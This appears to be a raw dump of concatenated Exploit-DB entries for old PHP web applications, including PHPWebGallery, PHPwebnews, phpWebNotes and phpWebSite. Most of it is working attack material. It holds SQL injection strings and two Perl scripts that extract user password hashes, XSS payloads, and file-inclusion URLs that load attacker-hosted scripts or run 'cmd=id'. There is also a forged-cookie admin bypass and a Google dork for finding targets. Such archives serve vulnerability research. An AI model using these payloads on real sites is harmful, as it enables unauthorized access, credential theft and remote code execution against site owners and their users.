deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6425
Description: PHPWebGallery 1.3.4 - Cross-Site Scripting / Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-11
Author: Khashayar Fereidani

Exploit:
----------------------------------------------------------------

Script : PhpWebGallery 1.3.4

Type : Multiple Vulnerabilities (XSS/LFI)

Rist : High

Google Dork : inurl:"picture.php?cat=" "Powered by PhpWebGallery 1.3.4"

----------------------------------------------------------------

Download From : http://puzzle.dl.sourceforge.net/sourceforge/phpwebgallery/phpwebgallery-1.3.4.tar.bz2

----------------------------------------------------------------

Discovered by : Khashayar Fereidani Or Dr.Crash

My Official Website : HTTP://FEREIDANI.IR

Team Website : Http://IRCRASH.COM

Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com

----------------------------------------------------------------

Local File Inclusion Vulnerabilities :

Lfi 1 : http://example/include/init.inc.php?user[language]=../../[LFI]

Lfi 2 : http://example/include/init.inc.php?user[template]=../../[LFI]

Lfi 3 : http://example/include/isadmin.inc.php?user[language]=../../[LFI]

-----------------------------------------------------------------

Cross Site Scripting Vulnerabilities :

Xss 1 : http://example/admin/include/isadmin.inc.php?lang[access_forbiden]=<script>alert(123);</script>

Xss 2 : http://example/admin/include/isadmin.inc.php?lang[ident_title]=<script>alert(123);</script>

----------------------------------------------------------------

                        Tnx : God

          HTTP://IRCRASH.COM HTTP://FEREIDANI.IR

----------------------------------------------------------------

# milw0rm.com [2008-09-11]
Exploit-DB #26791
Description: PHPWebGallery 1.3.4/1.5.1 - 'category.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-13
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15837/info
 
PhpWebGallery is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/category.php?cat=search&search=[SQL]
Exploit-DB #26790
Description: PHPWebGallery 1.3.4/1.5.1 - 'comments.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-13
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15837/info

PhpWebGallery is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/comments.php?keyword=&author=&cat=0&since=[SQL]
http://www.example.com/comments.php?keyword=&author=&cat=0&since=1&sort_by=[SQL]
http://www.example.com/comments.php?keyword=&author=&cat=0&since=1&sort_by=date&sort_order=descending&items_number=[SQL]
Exploit-DB #26792
Description: PHPWebGallery 1.3.4/1.5.1 - 'picture.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-13
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15837/info
  
PhpWebGallery is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/picture.php?cat=best_rated&image_id=[SQL]
Exploit-DB #27587
Description: PHPWebGallery 1.4.1 - 'category.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-10
Author: Psych0

Exploit:
source: https://www.securityfocus.com/bid/17421/info

PHPWebGallery is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/phpwebgallery_dir/category.php?cat=">[xss]

http://www.example.com/phpwebgallery_dir/category.php?cat=">[xss]&num=0

http://www.example.com/phpwebgallery_dir/category.php?cat=1&num=">[xss]

http://www.example.com/phpwebgallery_dir/category.php?cat=">[xss]&search=date_available%3A2006-01-01

http://www.example.com/phpwebgallery_dir/category.php?cat=1&search=">[xss]
Exploit-DB #27588
Description: PHPWebGallery 1.4.1 - 'picture.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-10
Author: Psych0

Exploit:
source: https://www.securityfocus.com/bid/17421/info
 
PHPWebGallery is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/phpwebgallery_dir/picture.php?cat=1&image_id=1&slideshow=">[xss]

http://www.example.com/phpwebgallery_dir/picture.php?cat=1&image_id=1&show_metadata=">[xss]

http://www.example.com/phpwebgallery_dir/picture.php?cat=1&image_id=1&start=">[xss]
Exploit-DB #28161
Description: PHPWebGallery 1.x - 'comments.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-07-04
Author: iss4m

Exploit:
source: https://www.securityfocus.com/bid/18798/info

PhpWebGallery is prone to a cross-site scripting vulnerability because it fails to sanitize input before displaying it to users of the application.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/phpwebgallery/comments.php?keyword=%22%3E[XSS]

http://www.example.com/phpwebgallery/comments.php?keyword=%22%3E%3Cscript%3Ealert('Hi+Master');%3C/script%3E
Exploit-DB #864
Description: phpWebLog 0.5.3 - Arbitrary File Inclusion
Type: webapps
Platform: php
Date: 2005-03-07
Author: Filip Groszynski

Exploit:
Example:

 if register_globals=on and allow_url_fopen=on:
   http://[victim]/[dir]/include/init.inc.php?G_PATH=http://[hacker_box]/
   http://[victim]/[dir]/backend/addons/links/index.php?PATH=http://[hacker_box]/

# milw0rm.com [2005-03-07]
Exploit-DB #29847
Description: PHPwebnews 0.1 - 'bukutamu.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-04-07
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/23448/info
  
The 'phpwebnews' package is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
This issue affects phpwebnews 0.1; other versions may also be affected. 

http://www.example.com/[path]/bukutamu.php?m_txt=[xss]
Exploit-DB #29845
Description: PHPwebnews 0.1 - 'iklan.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-04-07
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/23448/info

The 'phpwebnews' package is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects phpwebnews 0.1; other versions may also be affected. 

http://www.example.com/[path]/iklan.php?m_txt=[xss]
Exploit-DB #29846
Description: PHPwebnews 0.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-04-07
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/23448/info
 
The 'phpwebnews' package is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
This issue affects phpwebnews 0.1; other versions may also be affected. 

http://www.example.com/[path]/index.php?m_txt=[xss]
Exploit-DB #5999
Description: PHPwebnews 0.2 MySQL Edition - 'det' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-03
Author: Virangar Security

Exploit:
#######################################################################################
#                                                                                                                                                                 
#        ...:::::phpwebnews-mysql 0.2  SQL Injection Vulnerability ::::....                                           
#                                                                                                                                                                 
#######################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir
=================================================================================
Discoverd By :virangar security team

User In Virangar : d4v00d_cr4ck3r
=================================================================================
Special TNX To:Mr.nosrati,H4di.H4di,black.shadowes,Mr.hesy,Zahra

& All virangar Members & All hackerz
 =================================================================================
Download:
http://www.codewalkers.com/codefiles/476_phpwebnews-mysql.zip
 =================================================================================
expl0it:
http://site.com/phpwebnews-mysql/bukutamu.php?det=-1/**/union/**/select/**/1,2,user,passwd,5,6,7/**/from/**/user/*
 =================================================================================
Young Iranian h4ck3rz
=================================================================================

# milw0rm.com [2008-07-03]
Exploit-DB #5998
Description: PHPwebnews 0.2 MySQL Edition - 'id_kat' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-03
Author: storm

Exploit:
  ____       _   _       _ ___   __                        _  __
 / ___| ___ | \ | |_   _| | \ \ / /__  _   _ _ __ ___  ___| |/ _| ___  _ __ __ _
| |  _ / _ \|  \| | | | | | |\ V / _ \| | | | '__/ __|/ _ \ | |_ / _ \| '__/ _` |
| |_| | (_) | |\  | |_| | | | | | (_) | |_| | |  \__ \  __/ |  _| (_) | | | (_| |
 \____|\___/|_| \_|\__,_|_|_| |_|\___/ \__,_|_|  |___/\___|_|_|(_)___/|_|  \__, |
---------------------------------------------------------------------------|___/
Exploit found by sToRm


phpWebNews v0.2 MySQL Edition (Surat kabar/News Management Online)
SQL Injection


SQL Injection
-------------

index.php?id_kat=null+UNION+ALL+SELECT+1,2,3,4,concat(user,0x3a,passwd),6,7,8,9,10,11,12,13+FROM+user--


$id_kat=$_GET[id_kat];			  
$m_conn = db_connect();
if ((empty($id_kat))||($id_kat==''))
	$m_sql = "select * from berita where status='tampil' and order by tgl desc";
else
	$m_sql = "select * from berita where status='tampil' and kode_kategori=$id_kat and isi_berita like %'$m_txt'% order by tgl desc";


Here, we have a classic SQL MySQL injection.  The GET variable "id_kat" isn't sanitized before being passed to the query.  By injecting our string, the query becomes:

select * from berita where status='tampil' and kode_kategori=null UNION ALL SELECT 1,2,3,4,concat(user,0x3a,passwd),6,7,8,9,10,11,12,13 FROM user-- and isi_berita like %'$m_txt'% order by tgl desc

The comment renders the rest of the query to be useless.  We are effectively grabbing the first user from the table "user", which is the admin.  You can inject the other strings with server variables and attempt to fetch mysql.user hashes, if the conditions apply.

# milw0rm.com [2008-07-03]
Exploit-DB #6136
Description: PHPwebnews 0.2 MySQL Edition - 'SQL' Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-07-26
Author: Virangar Security

Exploit:
  ###################################################################################
  #                                                                                 #
  #    ...:::::phpwebnews-mysql 0.2 Insecure Cookie Handling Vulnerability ::::.... #           
  ###################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx :my master hadihadi

tnx to:MR.nosrati,black.shadowes,MR.hesy

& all virangar members & all hackerz
-------
DESCRIPTION:
phpwebnews-mysql, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
---
vuln code in /news_manajemen/index.php: //admin area index page
line 6-11:
include('x_inc.php');

$a1 = $_COOKIE['a1'];
$a2 = $_COOKIE['a2'];

if (password_valid($a1,$a2,'')) // a function in x-inc.php
**********************
now vuln code in x-inc.php:
lin 22-39: //password_valid function codes

function password_valid($pemakai, $password, $ea)
{

if ( empty($pemakai)||empty($password) )
  return FALSE;

  // koneksi database
  $conn = db_connect();
  if (!$conn)
    {
      return FALSE;
    }

if (empty($ea))
{
    $result = mysql_query("select * from user
                         where user='$pemakai'
                         and [CREDENTIAL_REDACTED]'");
*******************************************************
we can do nice and funny job :D
sql injcetion white cookie values ;)
---
exploit:
javascript:document.cookie = "a1=admin ' or 1=1/*; path=/;"; document.cookie = "a2=[what ever]; path=/;";
-----
now  you can get admin access and manage the cms ;)
-------
young iranian h4ck3rz

# milw0rm.com [2008-07-26]
Exploit-DB #26201
Description: PHPWebNotes 2.0 - 'Api.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-08-29
Author: nf2@scheinwelt.at

Exploit:
source: https://www.securityfocus.com/bid/14679/info

phpWebNotes is prone to a remote file include vulnerability.

hpWebNotes is susceptible to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may exploit this issue to execute arbitrary PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/xxxxx/api.php?t_path_core=http://pathtohackingscript?&cmd=id
Exploit-DB #36046
Description: phpWebSite - 'page_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-08-17
Author: Ehsan_Hp200

Exploit:
source: https://www.securityfocus.com/bid/49176/info

phpWebSite is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/mod.php?mod=userpage&page_id=[XSS]
Exploit-DB #1217
Description: phpWebSite 0.10.0 - 'module' SQL Injection
Type: webapps
Platform: php
Date: 2005-09-15
Author: RusH

Exploit:
#!/usr/bin/perl
use LWP::Simple;
 
$serv     =  $ARGV[0]; 
$path     =  $ARGV[1]; 
$name     =  $ARGV[2];
    
sub usage
 { 
    print "\nUsage: $0 [server] [path] [username] \n"; 
    print "sever    -  URL\n"; 
    print "path     -  path to index.php\n"; 
    print "username -  name register user\n\n"; 
    exit ();}  
 
sub work
 {
    print qq(
       --------------------------------- 
#==---[    phpWebSite SQL-injection     |
#==---[   tested ob phpWebSite-0.10.0   |
#==---[  Gr33tz: blf, 1dt.w0lf, Pengo,  |
#==---[       edisan, foster, whice     |
#==---[ (c)oded by x97Rang 2005 RST/GHC |
#==---[        http://rst.void.ru       |
#==---[          http://ghc.ru          |
       ---------------------------------\n\n);&chv;&board}
       
sub chv     
 {
    $ver  = sprintf("http://%s%s/docs/CHANGELOG.txt",$serv,$path);
    $getv = get "$ver";
if ($getv =~ /(phpWebSite-)(\d{1})\.(\d{1,2})\.(\d{1})/){print"[*] Version: $1$2.$3.$4\n";}}  
 
sub board 
 {
    $URL = sprintf("http://%s%s/index.php?module=%27+union+select+username,password+from+mod_users+where+username=%27$name%27/*",$serv,$path);   
    $content = get "$URL";
if ($content =~ /(\<b\>Search\&\#160\;)(\w{32})(\<\/b\>)/){&showh;}else{print "... One of those days :)\n";}}
 
sub showh
 {
    print "[*] User: $name\n";
    print "[*] Hash: $2\n\n";}
    
if (@ARGV != 3){&usage;}else{&work;}

# milw0rm.com [2005-09-15]
Exploit-DB #1525
Description: phpWebSite 0.10.0-full - 'topics.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-24
Author: SnIpEr_SA

Exploit:
#!/usr/bin/perl
# 
# advisory sent in by SnIpEr_SA (selfar2002[at]hotmail.com)
# http://www.target.com/topics.php?op=viewtopic&topic=-1%20Union%20select%20name,name,pass,name%20From%20users%20where%20uid=1
# ported by str0ke (milw0rm.com) from x97Rangs code (RST/GHC) http://rst.void.ru

use LWP::Simple;

$serv     =  $ARGV[0];
$path     =  $ARGV[1];
$uid      =  $ARGV[2];

sub usage
 {
    print "\nUsage: $0 [server] [path] [username] \n";
    print "sever    -  URL\n";
    print "path     -  path to topics.php\n";
    print "uid      -  uid of the user\n\n";
    exit ();}

sub work
 {
    print qq(
       ---------------------------------
#==---[ phpWebSite topic SQL-Injection  |
       ---------------------------------\n\n);&board}

sub board
 {
    $URL = sprintf("http://%s%s/topics.php?op=viewtopic&topic=-1+Union+select+name,name,pass,name+From+users+where+uid=%s",$serv,$path,$uid);
    $content = get "$URL";
    if ($content =~ /(\w{32})/){&showh;}else{print "... One of those days :)\n";}}

sub showh
 {
    print "[*] User: $uid Hash: $1\n\n";}

if (@ARGV != 3){&usage;}else{&work;}

# milw0rm.com [2006-02-24]
Exploit-DB #28774
Description: phpWebSite 0.10.2 - 'PHPWS_SOURCE_DIR' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-10-09
Author: Crackers_Child

Exploit:
source: https://www.securityfocus.com/bid/20412/info

phpWebSite is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

phpWebSite version 0.10.2 is vulnerable to this issue; other versions may also be affected.

This BID is being retired. The 'PHPWS_SOURCE_DIR' is a constant and not an attacker-controlled variable.

http://www.example.com/mod/users/init.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/mod/users/class/users.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/mod/users/class/Cookie.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/mod/users/class/forms.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/mod/users/class/Groups.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/mod/users/class/http://www.example.com/modSetting.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/core/Calendar.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/core/DateTime.php?PHPWS_HOME_DIR=http://Shel3ll.txt?
http://www.example.com/core/http://www.example.com/core.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/core/ImgLibrary.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/core/Manager.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/core/Template.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
http://www.example.com/core/EZform.php?PHPWS_SOURCE_DIR=http://Shel3ll.txt?
Exploit-DB #23014
Description: phpWebSite 0.7.3/0.8.2/0.8.3/0.9.2 Calendar Module - 'day' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-08-11
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/8393/info

PHP Website is a web site content management system that allows for easy maintainance and administration of interactive community-driven websites.

Cross-site vulnerabilities have been reported in the Calendar, PageMaster, Search and Fatcat modules that allow an attacker to create a link containing malicious script code that may be rendered in a user's browser when the link is followed.

This would occur in the security context of the site running PHP Website.

http://www.example.com/[PATH]/index.php?module=calendar&calendar[view]
=day&month=2&year=2003&day=1+%00">[XSS ATTACK CODE]
Exploit-DB #23017
Description: phpWebSite 0.7.3/0.8.2/0.8.3/0.9.2 earch Module - 'PDA_limit' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-08-11
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/8393/info
  
PHP Website is a web site content management system that allows for easy maintainance and administration of interactive community-driven websites.
  
Cross-site vulnerabilities have been reported in the Calendar, PageMaster, Search and Fatcat modules that allow an attacker to create a link containing malicious script code that may be rendered in a user's browser when the link is followed.
  
This would occur in the security context of the site running PHP Website.


http://www.example.com/[PATH]/index.php?
module=search&SEA_search_op=continue&PDA_limit=10">[XSS ATTACK CODE]
Exploit-DB #23015
Description: phpWebSite 0.7.3/0.8.2/0.8.3/0.9.2 fatcat Module - 'fatcat_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-08-11
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/8393/info
 
PHP Website is a web site content management system that allows for easy maintainance and administration of interactive community-driven websites.
 
Cross-site vulnerabilities have been reported in the Calendar, PageMaster, Search and Fatcat modules that allow an attacker to create a link containing malicious script code that may be rendered in a user's browser when the link is followed.
 
This would occur in the security context of the site running PHP Website.

http://www.example.com/[PATH]/index.php?module=fatcat&fatcat[user]
=viewCategory&fatcat_id=1%00+">[XSS ATTACK CODE]